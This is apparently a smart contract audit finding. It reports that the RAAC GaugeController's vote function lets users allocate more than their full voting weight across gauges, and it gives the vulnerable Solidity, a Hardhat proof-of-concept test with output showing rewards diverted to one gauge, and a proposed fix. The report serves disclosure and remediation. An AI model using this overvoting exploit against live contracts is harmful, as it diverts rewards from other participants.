Summary
The GaugeController
voting mechanism allows users to allocate weights to different liquidity gauges based on their veRAACToken
balance. However, the current implementation does not track the total weight allocated by each user, enabling them to exceed their total voting power. This flaw allows users to overvote beyond their actual veToken holdings, distorting the distribution of rewards.
Vulnerability Description
Issue
The function vote(address gauge, uint256 weight)
allows users to vote on gauge weights but does not check whether the cumulative votes across all gauges exceed the user’s veRAACToken
balance. This means that a user can allocate more than 100%
of their voting power across multiple gauges, leading to an unfair weight distribution.
Affected Code Snippet
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight);
}
A user, userA, holds 500 veToken. They call vote
on gauge1 with a weight of 10,000 and then call vote
on gauge2 with another weight of 10,000. This results in a total voting weight of 20,000, which exceeds their allowed limit based on their 500 veToken balance. Effectively, userA is using 500 * 2 veToken, which should not be permitted.
Root Cause
The contract does not track the total weight allocated by a user.
Users can set weights for multiple gauges without restriction, exceeding their available voting power.
The lack of a cumulative weight cap allows vote inflation, distorting reward allocations.
Poc
run in GaugeController.test.js
Before running the test modify the distributeRewards
function as follow
function distributeRewards(
address gauge
) external override nonReentrant whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (!gauges[gauge].isActive) revert GaugeNotActive();
uint256 reward = _calculateReward(gauge);
if (reward == 0) return;
veRAACToken.transfer(gauge, reward);
emit RewardDistributed(gauge, msg.sender, reward);
}
describe("Poc", () => {
it("influence reward distribution", async function() {
this.timeout(100000);
let user3;
let user4;
let user5;
[ user3, user4, user5] = await ethers.getSigners();
await veRAACToken.mint(user1.address, ethers.parseEther("1000"));
await veRAACToken.mint(user2.address, ethers.parseEther("500"));
await veRAACToken.mint(user3.address, ethers.parseEther("900"));
await veRAACToken.mint(user4.address, ethers.parseEther("200"));
await veRAACToken.mint(user5.address, ethers.parseEther("1980"));
const RWAGauge = await ethers.getContractFactory("RWAGauge");
const RAACGauge = await ethers.getContractFactory("RAACGauge");
const gauge1 = await RWAGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await gauge1.waitForDeployment();
const gauge2 = await RAACGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await gauge2.waitForDeployment();
const gauge3 = await RWAGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await gauge3.waitForDeployment();
const gauge4 = await RAACGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await gauge4.waitForDeployment();
for (const gauge of [gauge1, gauge2, gauge3, gauge4, rwaGauge, raacGauge]) {
await gauge.grantRole(await gauge.CONTROLLER_ROLE(), owner.address);
}
let gaugeList = [gauge1, gauge2, gauge3, gauge4];
let toggle = true;
for(let i = 0; i < gaugeList.length; i++) {
await gaugeController.connect(gaugeAdmin).addGauge(
await gaugeList[i].getAddress(),
toggle ? 0 : 1,
0
);
toggle = !toggle;
}
let userList = [user1, user2, user3, user4, user5];
let userWeights = [
[2500, 2000, 2000, 1500, 1000, 1000],
[1500, 2500, 2000, 2000, 1000, 1000],
[2000, 1500, 2500, 2000, 1000, 1000],
[2000, 2000, 1500, 2500, 1000, 1000],
[2500, 2000, 2000, 1500, 1000, 1000]
];
gaugeList.push(rwaGauge, raacGauge);
for(let i = 0; i < userList.length; i++) {
for(let j = 0; j < gaugeList.length; j++) {
await gaugeController.connect(userList[i]).vote(await gaugeList[j].getAddress(), userWeights[i][j]);
}
}
let reward = Array(gaugeList.length).fill(0n);
console.log("\n=== Reward Distribution Analysis ===");
let beforeBalance, afterBalance;
for(let i = 0; i < gaugeList.length; i++) {
await veRAACToken.mint(await gaugeController.getAddress(), ethers.parseEther("10000000000"));
beforeBalance = await veRAACToken.balanceOf(await gaugeList[i].getAddress());
await gaugeController.connect(gaugeAdmin).distributeRewards(await gaugeList[i].getAddress());
afterBalance = await veRAACToken.balanceOf(await gaugeList[i].getAddress());
reward[i] = afterBalance - beforeBalance;
console.log(`\nGauge ${i + 1}: ${await gaugeList[i].getAddress()}`);
console.log(`Reward: ${ethers.formatEther(reward[i])} tokens`);
}
console.log("\nTotal Rewards Summary:");
console.log("=====================");
const totalRewards = reward.reduce((a, b) => a + b, 0n);
console.log(`Total Rewards Distributed: ${ethers.formatEther(totalRewards)} tokens`);
});
});
output
=== Reward Distribution Analysis ===
Gauge 1: 0x0B306BF915C4d645ff596e518fAf3F9669b97016
Reward: 113500.0 tokens
Gauge 2: 0x959922bE3CAee4b8Cd9a407cc3ac1C251C2007B1
Reward: 24450.0 tokens
Gauge 3: 0x9A9f2CCfdE556A7E9Ff0848998Aa4a0CFD8863AE
Reward: 103800.0 tokens
Gauge 4: 0x68B1D87F95878fE05B998F19b66F4baba5De1aed
Reward: 21200.0 tokens
Gauge 5: 0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9
Reward: 50000.0 tokens
Gauge 6: 0xDc64a140Aa3E981100a9becA4E685f962f0cF6C9
Reward: 12500.0 tokens
Total Rewards Summary:
=====================
Total Rewards Distributed: 325450.0 tokens
Now set the user1 weight to [10000, 2000, 2000, 1500, 1000, 1000] and run the poc again
output
=== Reward Distribution Analysis ===
Gauge 1: 0x0B306BF915C4d645ff596e518fAf3F9669b97016
Reward: 167900.0 tokens
Gauge 2: 0x959922bE3CAee4b8Cd9a407cc3ac1C251C2007B1
Reward: 21012.5 tokens
Gauge 3: 0x9A9f2CCfdE556A7E9Ff0848998Aa4a0CFD8863AE
Reward: 89200.0 tokens
Gauge 4: 0x68B1D87F95878fE05B998F19b66F4baba5De1aed
Reward: 18212.5 tokens
Gauge 5: 0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9
Reward: 42950.0 tokens
Gauge 6: 0xDc64a140Aa3E981100a9becA4E685f962f0cF6C9
Reward: 10737.5 tokens
Total Rewards Summary:
=====================
Total Rewards Distributed: 350012.5 tokens
User1 succesfully redirect more than 50.000 token to gauge1.
Impact
The vulnerability enables users to:
The issue undermines the integrity of the veToken-based governance system and can significantly affect yield strategies and reward fairness.
Fix & Mitigation
Solution: Implement Total Weight Tracking
A fix should track the total votes allocated by each user and ensure it does not exceed WEIGHT_PRECISION
(e.g., 10,000
basis points or 100%
).
Fixed Code Implementation
mapping(address => uint256) public userTotalGaugeVotes;
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
uint256 userTotalWeight = userTotalGaugeVotes[msg.sender] - oldWeight + weight;
if (userTotalWeight > WEIGHT_PRECISION) revert ExceedsMaxVotingPower();
userTotalGaugeVotes[msg.sender] = userTotalWeight;
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight, votingPower);
}